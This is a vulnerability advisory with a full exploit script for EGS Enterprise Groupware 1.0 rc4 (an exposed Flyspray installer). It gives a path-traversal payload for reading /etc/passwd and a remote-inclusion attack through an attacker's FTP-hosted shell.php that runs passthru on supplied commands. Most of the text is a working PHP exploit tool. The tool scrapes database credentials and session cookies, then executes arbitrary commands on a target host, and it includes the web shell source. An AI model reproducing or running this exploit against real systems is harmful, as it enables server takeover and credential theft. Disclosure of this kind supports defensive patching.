SecurityReason - EGS Enterprise Groupware System 1.0 rc4 remote commands execution

Advisory Text :

--------EGS Enterprise Groupware System 1.0 rc4 (possibly prior
versions)-------
remote code execution
------------------------------------------------------------------------
--------

software:
site: http://egs.sourceforge.net/
description: "EGS is an Open Source business system released under
the GNU
GPL that is sponsored and supported by an established
commercial
company - Senokian Solutions. Unlike other similar
applicatiosn,
EGS is not beholden to share holders or venture
capitalists, and
is developed by a team of keen Open Source programmers,
with the
support and sponsorship of Senokian Solutions."
------------------------------------------------------------------------
--------

i) EGS carries a vulnerable version of Flyspray installer
(http://flyspray.rocks.cc/ ), you can access directly to it calling this
url:

http://[target]/[path_to_egs]/modules/projects/sql/install-0.9.7.php

if setup has been executed once, a message says:

"Setup has already been completed. If you really want to run it again,
remove
flyspray.conf.php"

but if you go to
http://[target]/[path]/modules/projects/sql/install-0.9.7.php?p=2

you have full access to installation procedure.

Now, give a look to vulnerable code at lines 172-199:

...
} elseif ($page == '3') {

/*if (file_exists('../flyspray.conf.php')) {
die('Setup has already been completed. If you really want to run it
again, remove flyspray.conf.php');
};*/

$_SESSION['basedir'] = stripslashes($_POST['basedir']);
$_SESSION['adodbpath'] = stripslashes($_POST['adodbpath']);
$_SESSION['dbtype'] = $_POST['dbtype'];
$_SESSION['dbname'] = $_POST['dbname'];
$_SESSION['dbhost'] = $_POST['dbhost'];
$_SESSION['dbuser'] = $_POST['dbuser'];
$_SESSION['dbpass'] = $_POST['dbpass'];

if ($_POST['basedir'] != ''
&& $_POST['adodbpath'] != ''
&& $_POST['dbhost'] != ''
&& $_POST['dbname'] != ''
&& $_POST['dbuser'] != ''
&& $_POST['dbpass'] != ''
) {

// Now, check for the correct path to the adodb.inc.php file
if (!file_exists($_SESSION['adodbpath']))
{
die('The path to adodb.inc.php wasn't set correctly. <a
href="?p=2">Go back and fix it up.</a>');

}
...

and at lines 287-295:

...
} elseif ($page == '4') {

if (!isset($_SESSION['basedir'])) {
Header("Location: install-0.9.7.php?p=1");
};

// Activate adodb
include_once ($_SESSION['adodbpath']);
...

at step 2 fill the adobpath field with a value like this:

../../../../../../../../../../etc/passwd

proceed to step 3 and 4 and you will see at screen /etc/passwd file
'cause $_SESSION['adodbpath'] is assigned to it and it is included by the
script

so on PHP4 you can view/execute any file on local resources...

on PHP5, because file_exists() function supports ftp locations, you submit
a
value like this for 'adodbpath':

ftp://username:password@somehost/shell.php

now, if shell.php have this code inside:

<?php passthru($HTTP_GET_VARS[cmd]);?>

you can launch commands on target system, poc:

http://[target]/[path]/modules/projects/sql/install-0.9.7.php?p=4&cmd=ls
%0-la

------------------------------------------------------------------------
--------
exploit:

<?php
# ---egs_10rc4_php5_incl_xpl.php 17.57
13/02/2006 #
#
#
# EGS Enterprise Groupware System <=1.0 rc4 remote commands execution
exploit #
# coded by rgod
#
# site: http://retrogod.altervista.org
#
#
#
# -> works against PHP5
#
# usage: launch from Apache, fill in requested fields, then go!
#
#
#
# Sun-Tzu: "Thus the energy developed by good fighting men is as the
momentum #
# of a round stone rolled down a mountain thousands of feet in height. So
#
# much on the subject of energy."
#

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title> ******** EGS <= 1.0 rc4 remote commands execution
*****
</title><meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;
SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; }
img
{background-color: #FFFFFF !important} input {background-color:
#303030
!important} option { background-color: #303030 !important}
textarea
{background-color: #303030 !important} input {color: #1CB081 !important}
option
{color: #1CB081 !important} textarea {color: #1CB081 !important}
checkbox
{background-color: #303030 !important} select {font-weight: normal;
color:
#1CB081; background-color: #303030;} body {font-size: 8pt
!important;
background-color: #111111; body * {font-size: 8pt !important} h1
{font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size:
0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size:
0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size:
0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} *
{font-style:
normal !important} *{text-decoration: none !important}
a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration:
underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,
sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,
sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p
class="Stile6">
******** EGS <= 1.0 rc4 remote commands execution ***** </p><p
class="Stile6">a
script by rgod at <a
href="http://retrogod.altervista.org"target="_blank">
http://retrogod.altervista.org</a> </p> <table width="84%"><tr><td
width="43%">
<form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'">
<p><input
type="text" name="host"> <span class="Stile5">* target
(ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path
(ex:
/EGS/ or just / ) </span></p><p><input type="text" name="cmd">
<span
class="Stile5"> * specify a command </span> </p> <p> <input
type="text"
name="FTP_LOCATION"><span class="Stile5"> * specify an ftp resource (ex:
ftp://u
sername:password (at) somehost (dot) com [email concealed]/shell.php)
</span> </p><p> <input type="text"
name="port"><span class="Stile5">specify a port other than 80 (default
value)
</span> </p><p><input type="text" name="proxy"><span class="Stile5"> send
exp
loit through an HTTP proxy (ip:port) </span> </p> <p> <input
type="submit"
name="Submit" value="go!"></p></form></td></tr></table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo
"<td>".htmlentities($headeri[$li+$ki])."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".htmlentities($datai)."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td> </td>";
}

for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".htmlentities($headeri[$li])."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if
not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " .
socket_strerror($socket) . "<br>";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port
".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{

$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].'
proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect()
failed.rnReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet,
strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket,
2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);

}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host);
die; }
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{

$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}

$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$FTP_LOCATION=$_POST[FTP_LOCATION];
$cmd=urlencode($_POST[cmd]);$proxy=$_POST[proxy];
echo "<span class="Stile5">";

if (($host<>'') and ($path<>'') and ($cmd<>'') and ($FTP_LOCATION<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error...
check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("r","",$host);$host=str_replace("n","",$host);
$path=str_replace("r","",$path);$path=str_replace("n","",$path);

# STEP 1 -> Call the Fiyspray 0.9.7 installation script...
$packet ="GET ".$p."modules/projects/sql/install-0.9.7.php?p=2
HTTP/1.1rn";
$packet.="Host: ".$host."rn";
$packet.="User-Agent: Rumours-Agentrn";
$packet.="Connection: Closernrn";
show($packet);
sendpacketii($packet);

$temp=explode("basedir" value="",$html);
$temp2=explode(""",$temp[1]);
$basedir=$temp2[0];
echo "basedir -> ".htmlentities($basedir)."<BR>";
$temp=explode("dbhost" value="",$html);
$temp2=explode(""",$temp[1]);
$DB_HOST=$temp2[0];
echo "DB HOST -> ".htmlentities($DB_HOST)."<BR>";
$temp=explode("dbname" value="",$html);
$temp2=explode(""",$temp[1]);
$DB_NAME=$temp2[0];
echo "DB NAME -> ".htmlentities($DB_NAME)."<BR>";
$temp=explode("dbuser" value="",$html);
$temp2=explode(""",$temp[1]);
$DB_USER=$temp2[0];
echo "DB USER -> ".htmlentities($DB_USER)."<BR>";
$temp=explode("dbpass" value="",$html);
$temp2=explode(""",$temp[1]);
$DB_PASS=$temp2[0];
echo "DB PASS -> ".strip_tags(htmlentities($DB_PASS))."<BR>";
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[1]);
$COOKIE=$temp2[0];
echo "COOKIE -> ".htmlentities($COOKIE)."<BR>";

# STEP 2 -> submit the ftp resource with shell code inside...
$data ="basedir=".urlencode($basedir);
$data.="&adodbpath=".urlencode($FTP_LOCATION);
$data.="&dbtype=pgsql";
$data.="&dbuser=".urlencode($DB_USER);
$data.="&dbname=".urlencode($DB_NAME);
$data.="&dbhost=".urlencode($DB_HOST);
$data.="&dbpass=".urlencode($DB_PASS);
$packet ="POST ".$p."modules/projects/sql/install-0.9.7.php?p=3
HTTP/1.1rn";
$packet.="Host: ".$host."rn";
$packet.="User-Agent: Science Traveller International 1X/1.0rn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Cookie: ".$COOKIE."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
show($packet);
sendpacketii($packet);

# STEP 3 -> Launch commands...
$packet ="GET
".$p."modules/projects/sql/install-0.9.7.php?p=4&cmd=".$cmd." HTTP/1.1rn";
$packet.="Host: ".$host."rn";
$packet.="User Agent: Googlebot 1.0rn";
$packet.="Cookie: ".$COOKIE."rn";
$packet.="Connection: Closernrn";
show($packet);
sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
}
else
{echo "Note: inside shell.php you need this code: <br>";
echo nl2br(htmlentities("
<?php

ob_clean();echo"HiMaster!";ini_set("max_execution_time",0);phpinfo()
;passthru($HTTP_GET_VARS[cmd]);die;
?>
"))."<br>";
echo "Fill * required fields, optionally specify a proxy...";}
echo "</span>";
?>
------------------------------------------------------------------------
--------
exploit code adjusted for flyspray 0.9.7:

http://retrogod.altervista.org/flyspray_097_php5_incl_xpl.html

------------------------------------------------------------------------
--------
rgod

site: http://retrogod.altervista.org
mail: rgod at autistici org
original adivsory:
http://retrogod.altervista.org/egs_10rc4_php5_incl_xpl.html
------------------------------------------------------------------------
--------